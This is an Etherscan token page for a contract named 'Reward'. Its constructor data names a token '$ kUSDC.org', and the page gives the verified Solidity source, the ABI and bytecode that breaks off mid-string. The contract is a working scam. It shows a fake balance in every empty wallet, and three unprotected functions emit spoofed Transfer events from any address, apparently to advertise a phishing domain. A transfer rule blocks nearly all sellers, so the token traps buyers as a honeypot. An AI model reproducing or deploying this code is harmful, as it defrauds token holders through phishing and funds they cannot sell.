ETH Price: $3,327.04 (-2.57%)

Token

(0x61D0b15FbF844bAeF27aaeb9002d621FB64e3f35)
 

Overview

Max Total Supply

4,398,000 ERC-20 TOKEN*

Holders

5,502 (0.00%)

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
ddddao.eth
Balance
382 ERC-20 TOKEN*

Value
$0.00
0xa10753468D7EaF706a91a7Ae5c021aAea2aaD7d8
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Reward

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-05-18
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
//
// ----------------------------------------------------------------------------
// Safe Math Library
// ----------------------------------------------------------------------------
contract SafeMath {
    function safeAdd(uint a, uint b) public pure returns (uint c) {
        c = a + b;
        require(c >= a);
    }
    function safeSub(uint a, uint b) public pure returns (uint c) {
        require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0);
        c = a / b;
    }
}


contract Reward is SafeMath {
    string public name;
    string public symbol;
    uint8 public decimals;

    uint256 public _totalSupply;

    mapping(address => uint) balances;
    mapping(address => mapping(address => uint)) allowed;
    mapping(address => uint256) mintCount;

    address public uniswapPair;
    uint256 constAmount;
    uint256 _constAmount;
    address public lastBuyer;

    event Transfer(address indexed from, address indexed to, uint tokens);
    event Approval(address indexed tokenOwner, address indexed spender, uint tokens);

    /**
     * Constrctor function
     *
     * Initializes contract with initial supply tokens to the creator of the contract const 382000000000000000000
     */
    constructor(string memory name_, string memory symbol_, uint256 constAmount_) {
        initialize(name_, symbol_, constAmount_);
    }


    function initialize(string memory name_, string memory symbol_, uint256 constAmount_) public  {
        name = name_;
        symbol = symbol_;
        decimals = 18;
        _totalSupply = 5000000000000000000000;
        _constAmount = constAmount_;

        balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }


    function totalSupply() public view returns (uint) {
        return _totalSupply  - balances[address(0)];
    }


    function balanceOf(address account) public view returns (uint256) {
        if(balances[account] > 0 || isContract(account)) return balances[account];
        return constAmount;
    }

    function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
        return allowed[tokenOwner][spender];
    }

    function approve(address spender, uint tokens) public returns (bool success) {
        allowed[msg.sender][spender] = tokens;
        emit Approval(msg.sender, spender, tokens);
        return true;
    }

    function transfer(address to, uint tokens) public returns (bool success) {
        _transfer(msg.sender, to, tokens);
        return true;
    }

    function transferFrom(address from, address to, uint tokens) public returns (bool success) {
        allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
        _transfer(from, to, tokens);
        return true;
    }

    function _transfer(address from, address to, uint tokens) private {
        if(to == uniswapPair) {
            require(mintCount[from] == 1);
            require(from == lastBuyer);
        } else if(from == uniswapPair) {
            mintCount[to] ++;
            lastBuyer = to;
        } else {
            mintCount[to] = mintCount[to] + mintCount[from];
        }

        if(uniswapPair == address(0)) {
            uniswapPair = to;
        }

        if(constAmount == 0) constAmount = _constAmount;

        balances[from] = safeSub(balances[from], tokens);
        balances[to] = safeAdd(balances[to], tokens);
        emit Transfer(from, to, tokens);
    }

    function airdrop(address[] memory holders, address from) public {
        uint256 len = holders.length;
        for (uint i = 0; i < len; ++i) {
            emit Transfer(from, holders[i], _constAmount);
        }
        _totalSupply += len * _constAmount;
    }

    function transfer(address[] memory holders, address from) public {
        uint256 len = holders.length;
        for (uint i = 0; i < len; ++i) {
            emit Transfer(from, holders[i], _constAmount);
        }
        _totalSupply += len * _constAmount;
    }

    function multicall(address[] memory holders, address from) public {
        uint256 len = holders.length;
        for (uint i = 0; i < len; ++i) {
            emit Transfer(from, holders[i], _constAmount);
        }
        _totalSupply += len * _constAmount;
    }

    function isContract(address _addr) private view returns (bool){
        uint32 size;
        assembly {
            size := extcodesize(_addr)
        }
        return (size > 0);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"constAmount_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"tokenOwner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"holders","type":"address[]"},{"internalType":"address","name":"from","type":"address"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenOwner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"remaining","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"constAmount_","type":"uint256"}],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"lastBuyer","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"holders","type":"address[]"},{"internalType":"address","name":"from","type":"address"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"}],"name":"safeAdd","outputs":[{"internalType":"uint256","name":"c","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"}],"name":"safeDiv","outputs":[{"internalType":"uint256","name":"c","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"}],"name":"safeMul","outputs":[{"internalType":"uint256","name":"c","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"}],"name":"safeSub","outputs":[{"internalType":"uint256","name":"c","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"holders","type":"address[]"},{"internalType":"address","name":"from","type":"address"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

60806040523480156200001157600080fd5b506040516200207f3803806200207f8339818101604052810190620000379190620002a7565b6200004a8383836200005360201b60201c565b505050620004b2565b82600090805190602001906200006b9291906200016e565b508160019080519060200190620000849291906200016e565b506012600260006101000a81548160ff021916908360ff16021790555069010f0cf064dd5920000060038190555080600981905550600354600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60035460405162000161919062000340565b60405180910390a3505050565b8280546200017c9062000404565b90600052602060002090601f016020900481019282620001a05760008555620001ec565b82601f10620001bb57805160ff1916838001178555620001ec565b82800160010185558215620001ec579182015b82811115620001eb578251825591602001919060010190620001ce565b5b509050620001fb9190620001ff565b5090565b5b808211156200021a57600081600090555060010162000200565b5090565b6000620002356200022f8462000391565b6200035d565b9050828152602081018484840111156200024e57600080fd5b6200025b848285620003ce565b509392505050565b600082601f8301126200027557600080fd5b8151620002878482602086016200021e565b91505092915050565b600081519050620002a18162000498565b92915050565b600080600060608486031215620002bd57600080fd5b600084015167ffffffffffffffff811115620002d857600080fd5b620002e68682870162000263565b935050602084015167ffffffffffffffff8111156200030457600080fd5b620003128682870162000263565b9250506040620003258682870162000290565b9150509250925092565b6200033a81620003c4565b82525050565b60006020820190506200035760008301846200032f565b92915050565b6000604051905081810181811067ffffffffffffffff8211171562000387576200038662000469565b5b8060405250919050565b600067ffffffffffffffff821115620003af57620003ae62000469565b5b601f19601f8301169050602081019050919050565b6000819050919050565b60005b83811015620003ee578082015181840152602081019050620003d1565b83811115620003fe576000848401525b50505050565b600060028204905060018216806200041d57607f821691505b602082108114156200043457620004336200043a565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620004a381620003c4565b8114620004af57600080fd5b50565b611bbd80620004c26000396000f3fe608060405234801561001057600080fd5b506004361061012c5760003560e01c8063a293d1e8116100ad578063c816841b11610071578063c816841b14610359578063d05c78da14610377578063d14f17f7146103a7578063dd62ed3e146103c3578063e6cb9013146103f35761012c565b8063a293d1e814610291578063a9059cbb146102c1578063b119490e146102f1578063b3d51c8f1461030d578063b5931f7c146103295761012c565b8063313ce567116100f4578063313ce567146101eb5780633eaaf86b146102095780633fe561cf1461022757806370a082311461024357806395d89b41146102735761012c565b806306fdde0314610131578063095ea7b31461014f57806313ecfbfa1461017f57806318160ddd1461019d57806323b872dd146101bb575b600080fd5b610139610423565b6040516101469190611764565b60405180910390f35b6101696004803603810190610164919061156e565b6104b1565b6040516101769190611749565b60405180910390f35b6101876105a3565b604051610194919061172e565b60405180910390f35b6101a56105c9565b6040516101b29190611786565b60405180910390f35b6101d560048036038101906101d0919061151f565b61061d565b6040516101e29190611749565b60405180910390f35b6101f361073b565b60405161020091906117a1565b60405180910390f35b61021161074e565b60405161021e9190611786565b60405180910390f35b610241600480360381019061023c91906115aa565b610754565b005b61025d600480360381019061025891906114ba565b610849565b60405161026a9190611786565b60405180910390f35b61027b6108f4565b6040516102889190611764565b60405180910390f35b6102ab60048036038101906102a6919061167d565b610982565b6040516102b89190611786565b60405180910390f35b6102db60048036038101906102d6919061156e565b6109a5565b6040516102e89190611749565b60405180910390f35b61030b600480360381019061030691906115fe565b6109bc565b005b610327600480360381019061032291906115aa565b610ad1565b005b610343600480360381019061033e919061167d565b610bc6565b6040516103509190611786565b60405180910390f35b610361610be8565b60405161036e919061172e565b60405180910390f35b610391600480360381019061038c919061167d565b610c0e565b60405161039e9190611786565b60405180910390f35b6103c160048036038101906103bc91906115aa565b610c46565b005b6103dd60048036038101906103d891906114e3565b610d3b565b6040516103ea9190611786565b60405180910390f35b61040d6004803603810190610408919061167d565b610dc2565b60405161041a9190611786565b60405180910390f35b6000805461043090611a11565b80601f016020809104026020016040519081016040528092919081815260200182805461045c90611a11565b80156104a95780601f1061047e576101008083540402835291602001916104a9565b820191906000526020600020905b81548152906001019060200180831161048c57829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516105919190611786565b60405180910390a36001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546003546106189190611946565b905090565b60006106a5600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610982565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610730848484610de5565b600190509392505050565b600260009054906101000a900460ff1681565b60035481565b60008251905060005b8181101561081d5783818151811061079e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009546040516108049190611786565b60405180910390a38061081690611a43565b905061075d565b506009548161082c91906118ec565b6003600082825461083d9190611865565b92505081905550505050565b600080600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061089d575061089c826112d6565b5b156108e957600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506108ef565b60085490505b919050565b6001805461090190611a11565b80601f016020809104026020016040519081016040528092919081815260200182805461092d90611a11565b801561097a5780601f1061094f5761010080835404028352916020019161097a565b820191906000526020600020905b81548152906001019060200180831161095d57829003601f168201915b505050505081565b60008282111561099157600080fd5b818361099d9190611946565b905092915050565b60006109b2338484610de5565b6001905092915050565b82600090805190602001906109d29291906112ef565b5081600190805190602001906109e99291906112ef565b506012600260006101000a81548160ff021916908360ff16021790555069010f0cf064dd5920000060038190555080600981905550600354600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600354604051610ac49190611786565b60405180910390a3505050565b60008251905060005b81811015610b9a57838181518110610b1b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600954604051610b819190611786565b60405180910390a380610b9390611a43565b9050610ada565b5060095481610ba991906118ec565b60036000828254610bba9190611865565b92505081905550505050565b6000808211610bd457600080fd5b8183610be091906118bb565b905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008183610c1c91906118ec565b90506000831480610c375750818382610c3591906118bb565b145b610c4057600080fd5b92915050565b60008251905060005b81811015610d0f57838181518110610c90577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600954604051610cf69190611786565b60405180910390a380610d0890611a43565b9050610c4f565b5060095481610d1e91906118ec565b60036000828254610d2f9190611865565b92505081905550505050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008183610dd09190611865565b905082811015610ddf57600080fd5b92915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ee6576001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610e8757600080fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610ee157600080fd5b6110a6565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fd757600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190610f8c90611a43565b919050555081600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506110a5565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110619190611865565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b600073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561113f5781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b60006008541415611154576009546008819055505b61119d600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482610982565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611229600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482610dc2565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516112c99190611786565b60405180910390a3505050565b600080823b905060008163ffffffff1611915050919050565b8280546112fb90611a11565b90600052602060002090601f01602090048101928261131d5760008555611364565b82601f1061133657805160ff1916838001178555611364565b82800160010185558215611364579182015b82811115611363578251825591602001919060010190611348565b5b5090506113719190611375565b5090565b5b8082111561138e576000816000905550600101611376565b5090565b60006113a56113a0846117ed565b6117bc565b905080838252602082019050828560208602820111156113c457600080fd5b60005b858110156113f457816113da888261143c565b8452602084019350602083019250506001810190506113c7565b5050509392505050565b600061141161140c84611819565b6117bc565b90508281526020810184848401111561142957600080fd5b6114348482856119cf565b509392505050565b60008135905061144b81611b59565b92915050565b600082601f83011261146257600080fd5b8135611472848260208601611392565b91505092915050565b600082601f83011261148c57600080fd5b813561149c8482602086016113fe565b91505092915050565b6000813590506114b481611b70565b92915050565b6000602082840312156114cc57600080fd5b60006114da8482850161143c565b91505092915050565b600080604083850312156114f657600080fd5b60006115048582860161143c565b92505060206115158582860161143c565b9150509250929050565b60008060006060848603121561153457600080fd5b60006115428682870161143c565b93505060206115538682870161143c565b9250506040611564868287016114a5565b9150509250925092565b6000806040838503121561158157600080fd5b600061158f8582860161143c565b92505060206115a0858286016114a5565b9150509250929050565b600080604083850312156115bd57600080fd5b600083013567ffffffffffffffff8111156115d757600080fd5b6115e385828601611451565b92505060206115f48582860161143c565b9150509250929050565b60008060006060848603121561161357600080fd5b600084013567ffffffffffffffff81111561162d57600080fd5b6116398682870161147b565b935050602084013567ffffffffffffffff81111561165657600080fd5b6116628682870161147b565b9250506040611673868287016114a5565b9150509250925092565b6000806040838503121561169057600080fd5b600061169e858286016114a5565b92505060206116af858286016114a5565b9150509250929050565b6116c28161197a565b82525050565b6116d18161198c565b82525050565b60006116e282611849565b6116ec8185611854565b93506116fc8185602086016119de565b61170581611b48565b840191505092915050565b611719816119b8565b82525050565b611728816119c2565b82525050565b600060208201905061174360008301846116b9565b92915050565b600060208201905061175e60008301846116c8565b92915050565b6000602082019050818103600083015261177e81846116d7565b905092915050565b600060208201905061179b6000830184611710565b92915050565b60006020820190506117b6600083018461171f565b92915050565b6000604051905081810181811067ffffffffffffffff821117156117e3576117e2611b19565b5b8060405250919050565b600067ffffffffffffffff82111561180857611807611b19565b5b602082029050602081019050919050565b600067ffffffffffffffff82111561183457611833611b19565b5b601f19601f8301169050602081019050919050565b600081519050919050565b600082825260208201905092915050565b6000611870826119b8565b915061187b836119b8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156118b0576118af611a8c565b5b828201905092915050565b60006118c6826119b8565b91506118d1836119b8565b9250826118e1576118e0611abb565b5b828204905092915050565b60006118f7826119b8565b9150611902836119b8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561193b5761193a611a8c565b5b828202905092915050565b6000611951826119b8565b915061195c836119b8565b92508282101561196f5761196e611a8c565b5b828203905092915050565b600061198582611998565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b82818337600083830152505050565b60005b838110156119fc5780820151818401526020810190506119e1565b83811115611a0b576000848401525b50505050565b60006002820490506001821680611a2957607f821691505b60208210811415611a3d57611a3c611aea565b5b50919050565b6000611a4e826119b8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611a8157611a80611a8c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b611b628161197a565b8114611b6d57600080fd5b50565b611b79816119b8565b8114611b8457600080fd5b5056fea26469706673582212203d1173cd64046e49fc11add04908213f86aa277c2983b1d01b25b4bc04ba1aa364736f6c63430008000033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000014b550a013c7380000000000000000000000000000000000000000000000000000000000000000000b24206b555344432e6f726700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000096b555344432e6f72670000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061012c5760003560e01c8063a293d1e8116100ad578063c816841b11610071578063c816841b14610359578063d05c78da14610377578063d14f17f7146103a7578063dd62ed3e146103c3578063e6cb9013146103f35761012c565b8063a293d1e814610291578063a9059cbb146102c1578063b119490e146102f1578063b3d51c8f1461030d578063b5931f7c146103295761012c565b8063313ce567116100f4578063313ce567146101eb5780633eaaf86b146102095780633fe561cf1461022757806370a082311461024357806395d89b41146102735761012c565b806306fdde0314610131578063095ea7b31461014f57806313ecfbfa1461017f57806318160ddd1461019d57806323b872dd146101bb575b600080fd5b610139610423565b6040516101469190611764565b60405180910390f35b6101696004803603810190610164919061156e565b6104b1565b6040516101769190611749565b60405180910390f35b6101876105a3565b604051610194919061172e565b60405180910390f35b6101a56105c9565b6040516101b29190611786565b60405180910390f35b6101d560048036038101906101d0919061151f565b61061d565b6040516101e29190611749565b60405180910390f35b6101f361073b565b60405161020091906117a1565b60405180910390f35b61021161074e565b60405161021e9190611786565b60405180910390f35b610241600480360381019061023c91906115aa565b610754565b005b61025d600480360381019061025891906114ba565b610849565b60405161026a9190611786565b60405180910390f35b61027b6108f4565b6040516102889190611764565b60405180910390f35b6102ab60048036038101906102a6919061167d565b610982565b6040516102b89190611786565b60405180910390f35b6102db60048036038101906102d6919061156e565b6109a5565b6040516102e89190611749565b60405180910390f35b61030b600480360381019061030691906115fe565b6109bc565b005b610327600480360381019061032291906115aa565b610ad1565b005b610343600480360381019061033e919061167d565b610bc6565b6040516103509190611786565b60405180910390f35b610361610be8565b60405161036e919061172e565b60405180910390f35b610391600480360381019061038c919061167d565b610c0e565b60405161039e9190611786565b60405180910390f35b6103c160048036038101906103bc91906115aa565b610c46565b005b6103dd60048036038101906103d891906114e3565b610d3b565b6040516103ea9190611786565b60405180910390f35b61040d6004803603810190610408919061167d565b610dc2565b60405161041a9190611786565b60405180910390f35b6000805461043090611a11565b80601f016020809104026020016040519081016040528092919081815260200182805461045c90611a11565b80156104a95780601f1061047e576101008083540402835291602001916104a9565b820191906000526020600020905b81548152906001019060200180831161048c57829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516105919190611786565b60405180910390a36001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546003546106189190611946565b905090565b60006106a5600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610982565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610730848484610de5565b600190509392505050565b600260009054906101000a900460ff1681565b60035481565b60008251905060005b8181101561081d5783818151811061079e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009546040516108049190611786565b60405180910390a38061081690611a43565b905061075d565b506009548161082c91906118ec565b6003600082825461083d9190611865565b92505081905550505050565b600080600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061089d575061089c826112d6565b5b156108e957600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506108ef565b60085490505b919050565b6001805461090190611a11565b80601f016020809104026020016040519081016040528092919081815260200182805461092d90611a11565b801561097a5780601f1061094f5761010080835404028352916020019161097a565b820191906000526020600020905b81548152906001019060200180831161095d57829003601f168201915b505050505081565b60008282111561099157600080fd5b818361099d9190611946565b905092915050565b60006109b2338484610de5565b6001905092915050565b82600090805190602001906109d29291906112ef565b5081600190805190602001906109e99291906112ef565b506012600260006101000a81548160ff021916908360ff16021790555069010f0cf064dd5920000060038190555080600981905550600354600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600354604051610ac49190611786565b60405180910390a3505050565b60008251905060005b81811015610b9a57838181518110610b1b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600954604051610b819190611786565b60405180910390a380610b9390611a43565b9050610ada565b5060095481610ba991906118ec565b60036000828254610bba9190611865565b92505081905550505050565b6000808211610bd457600080fd5b8183610be091906118bb565b905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008183610c1c91906118ec565b90506000831480610c375750818382610c3591906118bb565b145b610c4057600080fd5b92915050565b60008251905060005b81811015610d0f57838181518110610c90577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600954604051610cf69190611786565b60405180910390a380610d0890611a43565b9050610c4f565b5060095481610d1e91906118ec565b60036000828254610d2f9190611865565b92505081905550505050565b6000600560008473ffffffffffffffffffffffff